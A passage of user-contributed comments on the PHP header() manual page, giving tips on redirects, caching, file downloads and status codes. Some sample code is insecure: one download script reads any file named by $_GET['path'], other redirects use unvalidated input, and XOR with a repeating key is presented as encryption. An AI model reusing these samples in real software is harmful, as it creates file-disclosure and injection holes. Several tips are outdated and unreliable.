is what is sent during a standard 204 response... so to reproduce this, the function we are using is:

header('HTTP/1.0 204 No Content');
header('Content-Length: 0',true);
header('Content-Type: text/html',true);
flush();

when the above is called prior to doing any processing, the user agent will be left alone to do other things, and you may continue doing (at times 'time' heavy) processing on the server end.

enjoy!
Refugnic 03-Feb-2010 05:43
My files are in a compressed state (bz2). When the user clicks the link, I want them to get the uncompressed version of the file.

After decompressing the file, I ran into the problem, that the download dialog would always pop up, even when I told the dialog to 'Always perform this operation with this file type'.

As I found out, the problem was in the header directive 'Content-Disposition', namely the 'attachment' directive.

If you want your browser to simulate a plain link to a file, either change 'attachment' to 'inline' or omit it alltogether and you'll be fine.

This took me a while to figure out and I hope it will help someone else out there, who runs into the same problem.
alvinwong_1234 at yahoo dot com dot hk 31-Jan-2010 03:05
Normally, using
<?php
    // Request URI is /boo/blah.php
    header("Location: /foo/bar.php");
?>
generates a header just like
<?php
    // Request URI is /boo/blah.php
    header("Location: /foo/bar.php");
?>

But when I once used
<?php
    // Request URI is /boo/blah.php
    header("Location: ../foo/bar.php");
?>
today, it generates an absolute path like
<?php
    // Request URI is /boo/blah.php
    header("Location: http://www.example.com/foo/bar.php");
?>

Funny. I guess php done the work.
this dot person at joaocunha dot eti dot br 26-Jan-2010 10:39
AVOID ZERO BYTE ORDER MARK!

Header MUST be sent before EVERYTHING in the page. Even a single space will break your script. In my case, there was BOM setted in the encoding, so I opened the file with notepad++ and set the encoding to UTF-8 (no BOM) and voila, everything is working great now.
marlinf at datashaman dot com 10-Dec-2009 11:13
Many of the issues with headers can be solved quite quickly by using the following code before you set your headers:

<?php
headers_sent(&$file, &$line);
var_dump($file, $line);
?>

This will show you exactly where the first line of output is coming from, which will prevent your headers from being set.
dmitry dot babinov at gmail dot com 16-Nov-2009 10:31
Microsoft KB http://support.microsoft.com/kb/234067 strongly recommends to set up "expires" header for best cache control.
Everything else is workaround.
I had download error with first attempt always till i had cache-control header within script using Internet Explorer.
Such code works fine with IE 7-8:
<?php
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT\n");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Content-type: application/zip;\n"); //or yours?
header("Content-Transfer-Encoding: binary");
$len = filesize($filename);
header("Content-Length: $len;\n");
$outname="downfile.zip";
header("Content-Disposition: attachment; filename=\"$outname\";\n\n");

readfile($filename);
?>
dev at omikrosys dot com 16-Oct-2009 10:45
Just to inform you all, do not get confused between Content-Transfer-Encoding and Content-Encoding

Content-Transfer-Encoding specifies the encoding used to transfer the data within the HTTP protocol, like raw binary or base64. (binary is more compact than base64. base64 having 33% overhead).
Eg Use:- header('Content-Transfer-Encoding: binary');

Content-Encoding is used to apply things like gzip compression to the content/data.
Eg Use:- header('Content-Encoding: gzip');
scott at lucentminds dot com 16-Oct-2009 04:42
If you want to remove a header and keep it from being sent as part of the header response, just provide nothing as the header value after the header name. For example...

PHP, by default, always returns the following header:

"Content-Type: text/html"

Which your entire header response will look like

HTTP/1.1 200 OK
Server: Apache/2.2.11 (Unix)
X-Powered-By: PHP/5.2.8
Date: Fri, 16 Oct 2009 23:05:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

If you call the header name with no value like so...

<?php

    header( 'Content-Type:' );

?>

Your headers now look like this:

HTTP/1.1 200 OK
Server: Apache/2.2.11 (Unix)
X-Powered-By: PHP/5.2.8
Date: Fri, 16 Oct 2009 23:05:07 GMT
Connection: close
Justin S 06-Sep-2009 12:36
If you want to ENABLE cache:
<?php
// seconds, minutes, hours, days
$expires = 60*60*24*14;
header("Pragma: public");
header("Cache-Control: maxage=".$expires);
header('Expires: ' . gmdate('D, d M Y H:i:s', time()+$expires) . ' GMT');
?>
Anonymous 31-Jul-2009 08:02
I just want to add, becuase I see here lots of wrong formated headers.

1. All used headers have first letters uppercase, so you MUST follow this. For example:

Location, not location
Content-Type, not content-type or CONTENT-TYPE

2. Then there MUST be colon and space, like

good: header("Content-Type: text/plain");

wrong: header("Content-Type:text/plain");

3. Location header MUST be absolute uri with scheme, port and so on.

good: header("Location: http://www.example.com/something.php?a=1");

4. It cann't be relative:

wrong:  Location: /something.php?a=1
wrong:  Location: ?a=1

It will make proxy server and http clients happier.
mjt at jpeto dot net 17-Jul-2009 11:01
I strongly recommend, that you use

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found");

instead of

header("HTTP/1.1 404 Not Found");

I had big troubles with an Apache/2.0.59 (Unix) answering in HTTP/1.0 while I (accidentially) added a "HTTP/1.1 200 Ok" - Header.

Most of the pages were displayed correct, but on some of them apache added weird content to it:

A 4-digits HexCode on top of the page (before any output of my php script), seems to be some kind of checksum, because it changes from page to page and browser to browser. (same code for same page and browser)

"0" at the bottom of the page (after the complete output of my php script)

It took me quite a while to find out about the wrong protocol in the HTTP-header.
pineapplecharm at gmail dot com 03-Apr-2009 12:40
I've just discovered that Chrome doesn't perform a Location: instruction unless it gets a Status: first.  It's also sensitive to capitalisation.

<?php

    header("Status: 200");
    header("Location: /home.php");
    exit;

?>
Jamesb 08-Mar-2009 05:25
Here is a php script I wrote to stream a file and crypt it with a xor operation on the bytes and with a key :

The encryption works very good but the speed is decrease by 2, it is now 520KiB/s. The user is now asked for a md5 password (instead of keeping it in the code directly). There is some part in French because it's my native language so modify it as you want.

<?php
// Stream files and encrypt the data on-the-fly

// Settings
// -- File to stream
$file = "FILE_out";
// -- Reading buffer
$bufferlength = 3840;
// -- Key in hex
//$keychar = "9cdfb439c7876e703e307864c9167a15";

// Function: Convertion hex key in a string into binary
function hex2bin($h) {
    if (!is_string($h)) return null;
    $r = array();
    for ($a=0; ($a*2)<strlen($h); $a++) {
        $ta = hexdec($h[2*$a]);
        $tb = hexdec($h[(2*$a+1)]);
        $r[$a] = (int) (($ta << 4) + $tb);
    }
    return $r;
}

// Function to send the auth headers
function askPassword($text="Enter the password") {
    header('WWW-Authenticate: Basic realm="'. utf8_decode($text) .'"');
    header('HTTP/1.0 401 Unauthorized');
    return 1;
}

// Key is asked at the first start
if (!isset($_SERVER['PHP_AUTH_PW'])) {
    askPassword();
    echo "Une clé est nécessaire !<br />";
    exit;
}
// Get the key in hex
$keychar = $_SERVER['PHP_AUTH_PW'];

// Convert key and set the size of the key
$key = hex2bin($keychar);
$keylength = count($key);
// Teste si la clé est valide en hex
if ($key == "" || $keylength <= 4) {
    askPassword("Clé incorrecte !");
    //echo "Clé incorrecte !<br />";
    exit();
}
// Teste si la clé est de longueur d'une puissance de 2
if ( ($keylength%2) != 0) {
    askPassword("Clé de longueur incorrecte (multiple de 2 uniquement)");
    //echo "Clé de longueur incorrecte (puissance de 2 uniquement)<br />";
    exit();
}

// Headers
header("Content-Type: application/octet-stream; ");
header("Content-Transfer-Encoding: binary");
header("Content-Length: " . filesize($file) ."; ");
header("filename=\"".$file."\"; ");
flush(); // this doesn't really matter.

// Opening the file in read-only
$fp = fopen($file, "r");
while (!feof($fp))
{
    // Read a buffer size of the file
    $buffer = fread($fp, $bufferlength);
    $j=0;
    for ($i=0; $i < $bufferlength; $i++) {
        // The key is read in loop to crypt the whole file
        if ($i%$keylength == 0) {
            $j=0;
        }
        // Apply a xor operation between the key and the file to crypt
        // This operation eats a lots of CPU time (Stream at 1MiB/s on my server; Intel E2180)
        $tmp = pack("C", $key[$j]);
        $bufferE = ( $buffer[$i]^$tmp); // <==== Le fameux XOR

        /*
        echo "<br />key[".$j."]: ";
        var_dump($tmp);
        echo "<br />buffer[".$i."]: ";
        var_dump($buffer[$i]);
        echo "<br />bufferE: ";
        var_dump($bufferE);
        echo "<br />";
        //*/

        // Send the encrypted data
        echo $bufferE;
        // Clean the memory
        $bufferE = "";
        $j++;
    }
    $buffer = "";
    flush(); // this is essential for large downloads
    /*
    fclose($fp);
    exit();
    //*/
}
// Close the file and it's finished
fclose($fp);

?>
info at vanylla dot it 11-Feb-2009 12:05
WARNING:

In order to make Internet Explorer 6 (probably also 7)  not to cache pages you should use only these headers:

<?php
header("Cache-Control: no-cache");
header("Expires: -1");
?>

as suggested by Microsoft itself [source: http://support.microsoft.com/kb/234067]

if you add all the headers suggested in "Example #2 Caching directives" above:

<?php
header("Cache-Control: no-cache, must-revalidate");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
?>

IE browser goes on CACHING THE PAGE!!!
nullhility at gmail dot com 06-Feb-2009 04:15
I ran into problems when trying to get php to use a transparent ErrorDocument redirect.

My document root .htaccess was set up to redirect select error codes to error.php which tests against $_SERVER['REDIRECT_STATUS'] and templates a document based on the status code.

I had hoped to raise a 404 after a mysql query turned up empty (fyi; before output had started) but page output continued "normally", ie incorrectly.
Because this was inside a template class I was able to manually change the template's include file and $_SERVER['REDIRECT_STATUS'] to output the desired result. I wasn't actually sure if header() worked or not because apache2 has already returned 200 OK after which any header change would only affect the browser, wouldn't it?

I have read about header() working with apache redirects before, is this still available with apache2? Here's some code just to explain the concept:

<?php
class page_template
{
    $include_file;
//...

    function getData ()
    {
         try {
            //...
            if ($result->num_rows == 0) {
                throw new MysqlException("Empty result set");
            }
            //...
        } catch (MysqlException $e) {
            if ($e->getMessage() == "Empty result set") {

                header("HTTP/1.0 404 Not Found");
                header("Status: 404 Not Found");

                //the below two lines fixed the issue for me
                $_SERVER['REDIRECT_STATUS'] = 404;
                $this->template_file = $_SERVER['DOCUMTENT_ROOT'].'error.php';
         }
    }
}
?>
eonrglez at gmail dot com 07-Jan-2009 02:11
When you are trying to download a file using PHP it´s important to take into acount the definition of de Header element.

I have seen various examples where the people use a

<?php
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"".$filename."\";");
?>

however in adition to this is important add the definition of the cache because if you dont do it you will have problems with some navigators for example IE 7.0 under https protocol will show you a message saying that the file is not available.

here is a working example:

<?php
header("Pragma: public");
      header("Expires: 0");
      header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
      header("Cache-Control: private",false);
      header ( "Content-Type: $filedatatype" );
      header("Content-Disposition: attachment; filename=\"".$FileObj->name."\";");
      header("Content-Transfer-Encoding: binary");
      header("Content-Length: ".$filesize);
  readfile($file);
exit;
?>

where $filedatatype is the data type of the file for example:

   application/pdf
AllportPC 03-Jan-2009 05:30
If using header in Safari, make sure you use complete pahge names.  For example, we were using

<?php
header("Location: ?mng=" . $_GET['mng']);
?>

but it didnt work in Safari so we are using this

<?php
header("Location: index.php?mng=" . $_GET['mng']);
?>
bebertjean at yahoo dot fr 05-Dec-2008 05:46
If using the 'header' function for the downloading of files, especially if you're passing the filename as a variable, remember to surround the filename with double quotes, otherwise you'll have problems in Firefox as soon as there's a space in the filename.

So instead of typing:

<?php
  header("Content-Disposition: attachment; filename=" . basename($filename));
?>

you should type:

<?php
  header("Content-Disposition: attachment; filename=\"" . basename($filename) . "\"");
?>

If you don't do this then when the user clicks on the link for a file named "Example file with spaces.txt", then Firefox's Save As dialog box will give it the name "Example", and it will have no extension.

See the page called "Filenames_with_spaces_are_truncated_upon_download" at
http://kb.mozillazine.org/ for more information. (Sorry, the site won't let me post such a long link...)
jamie 01-Dec-2008 07:57
The encoding of a file is discovered by the Content-Type, either in the HTML meta tag or as part of the HTTP header. Thus, the server and browser does not need - nor expect - a Unicode file to begin with a BOM mark. BOMs can confuse *nix systems too. More info at http://unicode.org/faq/utf_bom.html#bom1

On another note: Safari can display CMYK images (at least the OS X version, because it uses the services of QuickTime)
mzheng[no-spam-thx] at ariba dot com 23-Oct-2008 08:50
For large files (100+ MBs), I found that it is essential to flush the file content ASAP, otherwise the download dialog doesn't show until a long time or never.

<?php
header("Content-Disposition: attachment; filename=" . urlencode($file));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file));
flush(); // this doesn't really matter.

$fp = fopen($file, "r");
while (!feof($fp))
{
    echo fread($fp, 65536);
    flush(); // this is essential for large downloads
}
fclose($fp);
?>
Pr Ahrn 22-Oct-2008 03:39
Set a fast ETAG:

<?php
$fp = fopen($_SERVER["SCRIPT_FILENAME"], "r");
$etag = md5(serialize(fstat($fp)));
fclose($fp);
header('Etag: '.$etag);
?>
shutout2730 at yahoo dot com 21-Aug-2008 11:57
It is important to note that headers are actually sent when the first byte is output to the browser. If you are replacing headers in your scripts, this means that the placement of echo/print statements and output buffers may actually impact which headers are sent. In the case of redirects, if you forget to terminate your script after sending the header, adding a buffer or sending a character may change which page your users are sent to.

This redirects to 2.html since the second header replaces the first.

<?php
header("location: 1.html");
header("location: 2.html"); //replaces 1.html
?>

This redirects to 1.html since the header is sent as soon as the echo happens. You also won't see any "headers already sent" errors because the browser follows the redirect before it can display the error.

<?php
header("location: 1.html");
echo "send data";
header("location: 2.html"); //1.html already sent
?>

Wrapping the previous example in an output buffer actually changes the behavior of the script! This is because headers aren't sent until the output buffer is flushed.

<?php
ob_start();
header("location: 1.html");
echo "send data";
header("location: 2.html"); //replaces 1.html
ob_end_flush(); //now the headers are sent
?>
sk89q 16-Aug-2008 11:41
You can use HTTP's etags and last modified dates to ensure that you're not sending the browser data it already has cached.

<?php
$last_modified_time = filemtime($file);
$etag = md5_file($file);

header("Last-Modified: ".gmdate("D, d M Y H:i:s", $last_modified_time)." GMT");
header("Etag: $etag");

if (@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) == $last_modified_time ||
    trim($_SERVER['HTTP_IF_NONE_MATCH']) == $etag) {
    header("HTTP/1.1 304 Not Modified");
    exit;
}
?>
Orca8767 10-Jul-2008 06:35
Note that if you don't want to go through the process of making sure that there is no output before you send a header, you can use

<?php
ob_start();
?>

at the beginning of your page.
This starts the output buffer, which allows you to send headers whenever you feel like it. Make sure that you put it at the BEGINNING, after the first php tag.

It allows you to do something like

<?php
ob_start();
echo 'foo';
header("Status: 404 Not Found");
echo 'bar';
?>
kc8yds at gmail dot com 07-Jul-2008 09:14
if you use php to create custom error pages (such as header('HTTP/1.1 500 Internal Server Error');) Internet Explorer ignores you custom page unless it is at least 512 (or sometimes 1024 bytes)

IE ignores custom error pages that are less than 512 (or from what i've read 1024) bytes.

just place this before any output on your custom error page--- and be sure that your custom error page includes proper html tags (it must have a </body> for this specific example to work)

<?php
// set your custom error header --- example --- header('HTTP/1.1 503 Service Unavailable');

function padding($html){
return ($padding=1024-ob_get_length()) > 0 ? str_replace('</body>','<!--'. ($padding>8?str_repeat(' ',$padding-8) :null ).'-->'."\n".'</body>',$html) : $html;
}

ob_start('padding');
?>

and then place this somewhere within the html error page output

<!-- ---- -->

that will auto-adjust to pad the file to 1024 bytes to override the default Internet Explorer error pages.
Yasser Khan (MYKSP) 03-Jul-2008 08:34
To get PHP to load a PDF (for example) from file, use the following code.

<?php
$filename = $_SERVER['DOCUMENT_ROOT'] . "/path/to/file/my_file.pdf";
header("Cache-Control: public");
header("Content-Description: File Transfer");
header('Content-disposition: attachment; filename='.basename($filename));
header("Content-Type: application/pdf");
header("Content-Transfer-Encoding: binary");
header('Content-Length: '. filesize($filename));
readfile($filename);
?>
stevenwebster at gmail dot com 26-May-2008 07:56
These functions turn on SSL, and turn off SSL. The Redirect function is also good to use for all redirects... tries PHP, then Java, then HTML for redirects.

Here are the improved functions... had an error in the  one I posted yesterday if you guys could please delete that one.

<?php
//This works in 5.2.3
//First function turns SSL on if it is off.
//Second function detects if SSL is on, if it is, turns it off.

//==== Redirect... Try PHP header redirect, then Java redirect, then try http redirect.:
function redirect($url){
    if (!headers_sent()){    //If headers not sent yet... then do php redirect
        header('Location: '.$url); exit;
    }else{                    //If headers are sent... do java redirect... if java disabled, do html redirect.
        echo '<script type="text/javascript">';
        echo 'window.location.href="'.$url.'";';
        echo '</script>';
        echo '<noscript>';
        echo '<meta http-equiv="refresh" content="0;url='.$url.'" />';
        echo '</noscript>'; exit;
    }
}//==== End -- Redirect

//==== Turn on HTTPS - Detect if HTTPS, if not on, then turn on HTTPS:
function SSLon(){
    if($_SERVER['HTTPS'] != 'on'){
        $url = "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
        redirect($url);
    }
}//==== End -- Turn On HTTPS

//==== Turn Off HTTPS -- Detect if HTTPS, if so, then turn off HTTPS:
function SSLoff(){
    if($_SERVER['HTTPS'] == 'on'){
        $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
        redirect($url);
    }
}//==== End -- Turn Off HTTPS
?>
milin_mestry at yahoo dot com 23-May-2008 12:54
Hi,

I was trying to save the '.xls' on user machine, which works correctly on
Firefox(developer friendly) but not on Microsoft's IE(Microsoft friendly);

after searching on the net, i found this code which works on both the browser.
Source link: http://www.webdeveloper.com/forum/archive/index.php/t-30248.html

here is the code:
-------------------------
<?php
// downloading a file
$filename = $_GET['path'];

// fix for IE catching or PHP bug issue
header("Pragma: public");
header("Expires: 0"); // set expiration time
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
// browser must download file from server instead of cache

// force download dialog
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");

// use the Content-Disposition header to supply a recommended filename and
// force the browser to display the save dialog.
header("Content-Disposition: attachment; filename=".basename($filename).";");

/*
The Content-transfer-encoding header should be binary, since the file will be read
directly from the disk and the raw bytes passed to the downloading computer.
The Content-length header is useful to set for downloads. The browser will be able to
show a progress meter as a file downloads. The content-lenght can be determines by
filesize function returns the size of a file.
*/
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));

@readfile($filename);
exit(0);
?>
kenaniah at bestphp dot net 15-May-2008 11:51
If you are looking to send files such as PDFs or Excel spreadsheets or Microsoft Office documents and are having issues with IE7, IE6, or IE5.5 not being able to open/download the files over an SSL connection, but still need not allow caching, then set these two headers:
<?php
header("Cache-Control: maxage=1"); //In seconds
header("Pragma: public");
?>
Granted, this will cache your file for one second, but it's as close to an un-cached download as you can get when using IE over SSL.

Some basic info on the issue can be found here: http://support.microsoft.com/kb/812935
Patrick 08-May-2008 05:56
If you come across cache error (when trying to cache your images or other files) like this:

[code=CACHE_FILL_OPEN_FILE] An internal error prevented the object from being sent to the client and cached. Try again later.

You may try sending Cache-Control: private header at the beginning to sort that out

header('Cache-Control: private');
cduke420 at gmail dot com 02-May-2008 11:33
If you have Apache, you can setup your ErrorDocument to point
to a php file that instructs search engines to try again in 120 seconds.
This can be helpful when you are doing maintenance on the site.

Then in .htaccess

ErrorDocument 503 /cgi-bin/503.php
ErrorDocument 500 /cgi-bin/503.php

<?php
ob_start();
@header("HTTP/1.1 503 Service Temporarily Unavailable");
@header("Status: 503 Service Temporarily Unavailable");
@header("Retry-After: 120");
@header("Connection: Close");
?><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>503 Service Temporarily Unavailable</title>
</head><body>
<h1>Service Temporarily Unavailable</h1>
<p>The server is temporarily unable to service your
request due to maintenance downtime or capacity
problems. Please try again later.</p>
</body></html><?php
$g=ob_get_clean();
echo $g;
exit;
exit();
?>

See:
http://askapache.com/htaccess/503-service-temporarily-unavailable.html
gilthans at nospam dot gmail dot com 21-Mar-2008 10:16
I've been having trouble with a simple page that simply redirects the page elsewhere. Even the simple:

<?php
Header("Location: http://www.google.com/");
?>

Wouldn't work ("Warning: Headers already sent!").
After double checking for extra spaces, I found out that because I saved the file as a UTF-8 file, and the page wasn't loaded as a UTF-8 page, so some weird character was prepended to the page. After saving the file as a windows-1252 file it worked ok. Hope this someone some headaches.
blinki bill 12-Feb-2008 08:33
if you are planing to make a download script like this one:

<?php
$mm_type="application/octet-stream";

header("Cache-Control: public, must-revalidate");
header("Pragma: hack");
header("Content-Type: " . $mm_type);
header("Content-Length: " .(string)(filesize($fullpath)) );
header('Content-Disposition: attachment; filename="'.$filename.'"');
header("Content-Transfer-Encoding: binary\n");

readfile($fullpath);
?>

you will notice that the zip files becomes invalid after download, thats because all files downloaded starts with empty line which is a problem for the zip files
This can be fixed with adding ob_start() at the beginning of the script and od_end_clean() just before the readfile()
henfiber at gmail dot com 04-Dec-2007 05:19
Is there a serious problem with utf8 encoding?
Answer: no- utf8 with bom is a problem..

I spent about 10 hours trying every tip or fix suggested by users to fix the problem with " headers already sent ".

Finally I found the problem with a hex editor.

As it is previously mentioned header() should be the first statement. Moreover php opening and closing tags should be clean of spaces:

So something like this should work:

<?php
header('something ..');
?>

I had applied an authentication scheme to my pages using sessions. The encoding of my files was "utf-8". Though I
tried cleaning everything about spaces,tabs and other dirt  through my code, I kept getting these " headers already sent errors..". The problem was in utf-8 encoding ( I don't mean the meta:http-equiv=" charset='utf-8' tag but the actual encoding of my file.) When I changed to ANSI everything worked. Actually the utf-8 encoding added three characters at the start of my file : ο»Ώ. This is called bom in utf-8. So if you are going to use utf-8 encodings to your pages and need to put php header code in these pages choose to save "utf8 without bom". (I hope your editor has such an option - I use notepad++ in win32 )
Hope it helps..
bholbrook at servillian dot com 07-Nov-2007 09:06
The first element of the header (i.e. "Location") is case sensitive depending on the browser. In IE7, <?php header("location:http://www.example.com"); ?> does not work as expected whereas <?php header ("Location:http://www.example.com"); ?> does work as expected.

For a full list of headers and their values go here: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
ik at dynamique dot nl 06-Nov-2007 06:52
If you want your download script to work in Safari you'll have to print quotation marks around the filename:
header('Content-Disposition: attachment; filename="'.$fileName.'"');
,otherwise Safari will just save the file as 'scriptname.php'.
Aleks 06-Nov-2007 05:06
I recently had a hair-threatening problem with Firefox and XHTML 1.0 transitional.

It worked fine with other browsers, and also with HTML 4.1.

To cut a long story short, PHP-generated JS and CSS files were still being reported by the headers as text/html, while in the HTML they were text/css and application/javascript; Firefox having been told the page was XHTML 1.0 became anal-retentive and refused to style the page. (I think the JS still worked but I fixed it anyway.)

Solution:

header('Content-type: text/css');
and
header('Content-type: application/javascript');
Dylan at WeDefy dot com 13-Oct-2007 08:17
A quick way to make redirects permanent or temporary is to make use of the $http_response_code parameter in header().

<?php
// 301 Moved Permanently
header("Location: /foo.php",TRUE,301);

// 302 Found
header("Location: /foo.php",TRUE,302);
header("Location: /foo.php");

// 303 See Other
header("Location: /foo.php",TRUE,303);

// 307 Temporary Redirect
header("Location: /foo.php",TRUE,307);
?>

The HTTP status code changes the way browsers and robots handle redirects, so if you are using header(Location:) it's a good idea to set the status code at the same time.  Browsers typically re-request a 307 page every time, cache a 302 page for the session, and cache a 301 page for longer, or even indefinitely.  Search engines typically transfer "page rank" to the new location for 301 redirects, but not for 302, 303 or 307. If the status code is not specified, header('Location:') defaults to 302.
ryanhanekamp at yahoo dot com 11-Aug-2007 02:10
I strongly recommend the "Live HTTP Headers" plugin for Firefox for any work when manually setting headers. (Find it in the addons section on mozilla.com) This allows you to see the headers your PHP script and server are sending, plus Firefox's request headers.

One important thing to note is a conflict with many of the scripts here, including in lasitha dot alawatta's Excel post just a few below me, is that sending multiple headers of the same type from your script does not actually cause multiple lines of output to the browser, at least for the version of PHP5 I'm running, and it's doubtful the browser would process any other than the last line anyhow.

So sending multiple "Pragma: " or "Cache-Control: " headers results in only the last one set in your script to actually be sent.

Also, it's already been pointed out, but setting "Cache-Control: Pre-Check=0, Post-Check=0" does absolutely nothing. I believe only MSIE even uses these values and it specifically IGNORES both of them when both are set to zero.

I've actually had more trouble trying to encourage caching than preventing it, because PHP sends "Cache-Control" and "Pragma" headers either always or at least always with sessions on (and I always have sessions on). The trick is to always send BOTH "Cache-Control" and "Pragma" because if they conflict it's completely up to the browser to resolve. And if you have a custom server in PHP like I'm working on right now, you'll need to sniff for $_SERVER['IF-MODIFIED-SINCE'] and serve up "HTTP/1.1 304 Not Modified" as appropriate.

If you are doing something like this and want to ensure caching of static files, the best way I found was to give an honest "Last-Modified", set an "Expires:" a reasonable time in the future (a few minutes through the year 2038, depending on what you're doing), set "Cache-Control" to "private" or "public", and stay away from "Max-Age".
Kal 29-Jul-2007 01:07
I spent a long time trying to determine why Internet Explorer 7 wasn't prompting the user to save a download based on the filename specified on a "'Content-Disposition: attachment; filename=..." header line.

I eventually determined that my Apache installation was adding an additional header: "Vary: Host", which was throwing IE - as per http://support.microsoft.com/kb/824847

I found manually setting the Vary header from within PHP as follows header('Vary: User-Agent'); allowed IE to behave as intended.

Hope this saves someone else some time,

- Kal
lasitha dot alawatta at gmail dot com 28-Jul-2007 10:15
Create MS-Excel file:

<?php

    $export_file = "my_name.xls";
    ob_end_clean();
    ini_set('zlib.output_compression','Off');

    header('Pragma: public');
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");                  // Date in the past
    header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
    header('Cache-Control: no-store, no-cache, must-revalidate');     // HTTP/1.1
    header('Cache-Control: pre-check=0, post-check=0, max-age=0');    // HTTP/1.1
    header ("Pragma: no-cache");
    header("Expires: 0");
    header('Content-Transfer-Encoding: none');
    header('Content-Type: application/vnd.ms-excel;');                 // This should work for IE & Opera
    header("Content-type: application/x-msexcel");                    // This should work for the rest
    header('Content-Disposition: attachment; filename="'.basename($export_file).'"');

?>
jasper at jtey dot com 12-Jul-2007 07:30
If you are finding that header() is not working for no obvious reason, make use of the headers_sent() function to drill down to the cause of the problem.

Consider the following scenario,

<?php
// Sign out
signOut();

// Redirect back to the main page
header("Location: http://example.com/mainpage");
?>

If for some reason, the header() call to redirect is not working, there won't be any error messages, making it difficult to debug.  However, using headers_sent(), you may easily find the source of the problem.

<?php
// Sign out
signOut();

/*
 * If headers were already sent for some reason,
 * the upcoming call to header() will not work...
 */
if(headers_sent($file, $line)){
    // ... where were the mysterious headers sent from?
    echo "Headers were already sent in $file on line $line...";
}

// Redirect back to the main page
header("Location: http://example.com/mainpage");
?>

As the documentation states, "header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP."  In the above debugging solution, you will find out exactly where any of these problematic output or blank lines exist.  You should then be able to resolve the issues with much more ease than if you hunted for the problems aimlessly.
greg dot jones at senokian dot com 21-Jun-2007 09:16
In case anyone else is having trouble:
using a web-server behind the pound load balancer, we found that trying to redirect to https://example.com for requests to http://example.com were getting into an infinite loop because pound, by default, 'fixes' changes of protocol for you. You want to set RewriteLocation to 0 to turn this behaviour off.
nobileelpirata at hotmail dot com 02-Jun-2007 03:04
This is the Headers to force a browser to use fresh content (no caching) in HTTP/1.0 and HTTP/1.1:

<?PHP
header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );

?>
Jean-Pierre 27-May-2007 04:21
You can use the Header command to force a browser to use fresh content (no caching).

However, this only works for the HTML code your code generates. When you have updated images for example (with the same filename) then there's a chance that these are still cached.

The easiest way to solve this problem I found is changing:

<?php
print "<img src='yourfile.jpg'>";
?>

into:

<?php
print "<img src='yourfile.jpg?".time()."'>";
?>

This adds an unique number to the url and wont hurt at all.
greg d0t pwpp 4t gmail d0t com 02-May-2007 01:53
More on downloading files...

Here's a slight improvement to the method provided by Nick Sterling.

I tried this and it works great, but using fopen ran into memory limit problems.

By using readfile($filename), I solved this problem without having to change the ini settings.

readfile() reads a file and writes it to the output buffer.

Here's my version of the code:

<?php
$filename = "theDownloadedFileIsCalledThis.mp3";
$myFile = "/absolute/path/to/my/file.mp3";

$mm_type="application/octet-stream";

header("Cache-Control: public, must-revalidate");
header("Pragma: hack"); // WTF? oh well, it works...
header("Content-Type: " . $mm_type);
header("Content-Length: " .(string)(filesize($myFile)) );
header('Content-Disposition: attachment; filename="'.$filename.'"');
header("Content-Transfer-Encoding: binary\n");

readfile($myFile);

?>
Hayley Watson 27-Dec-2006 05:15
As an alternative to using header('Content-Type: ****') on almost every page, the default Content-Type (and character set, too, if needed) can be set in php.ini under the "default_mimetype" and "default_charset" entries.
mailforlindsay at gmail dot com 15-Nov-2006 02:00
Careful! This line of code cause IIS to crash on PHP 4.3.4 and maybe others.

<?php
header("location:/currentfile.php");
// forward slash causes crash
// currentfile.php is the exact basename of this file
?>

Learned this the hard way.
kamermans at teratechnologies dot net 11-Oct-2006 05:49
If you are trying to send image data to a mobile phone from PHP, some models (Motorola RAZOR V3 on Cingular) for whatever reason require the "Last-Modified" header or they will not show the image.

<?php
ob_start();
// assuming you have image data in $imagedata
$length = strlen($imagedata);
header('Last-Modified: '.date('r'));
header('Accept-Ranges: bytes');
header('Content-Length: '.$length);
header('Content-Type: image/jpeg');
print($imagedata);
ob_end_flush();
?>

date('r') produces the date with the numeric timezone offset (-0400) versus Apache, which uses timezone names (GMT), but according to the HTTP/1.1 RFC, dates should be formatted  by RFC 1123 (RFC 822) which states: "There is a strong trend towards the use of numeric timezone indicators, and implementations SHOULD use numeric timezones instead of timezone names.  However, all implementations MUST accept either notation." (http://www.ietf.org/rfc/rfc1123.txt)
aooa83(a)dsldotpipexdotcom 19-Aug-2006 02:26
apache_request_headers() is only available if PHP is running as an apache module. Various request header values are available in the $_SERVER array, for example:

$_SERVER["HTTP_IF_MODIFIED_SINCE"]

Gives the if modified date in "Sat, 12 Aug 2006 19:12:08 GMT" format.
mandor at mandor dot net 14-Feb-2006 05:14
When using PHP to output an image, it won't be cached by the client so if you don't want them to download the image each time they reload the page, you will need to emulate part of the HTTP protocol.

Here's how:

<?php

    // Test image.
    $fn = '/test/foo.png';

    // Getting headers sent by the client.
    $headers = apache_request_headers();

    // Checking if the client is validating his cache and if it is current.
    if (isset($headers['If-Modified-Since']) && (strtotime($headers['If-Modified-Since']) == filemtime($fn))) {
        // Client's cache IS current, so we just respond '304 Not Modified'.
        header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 304);
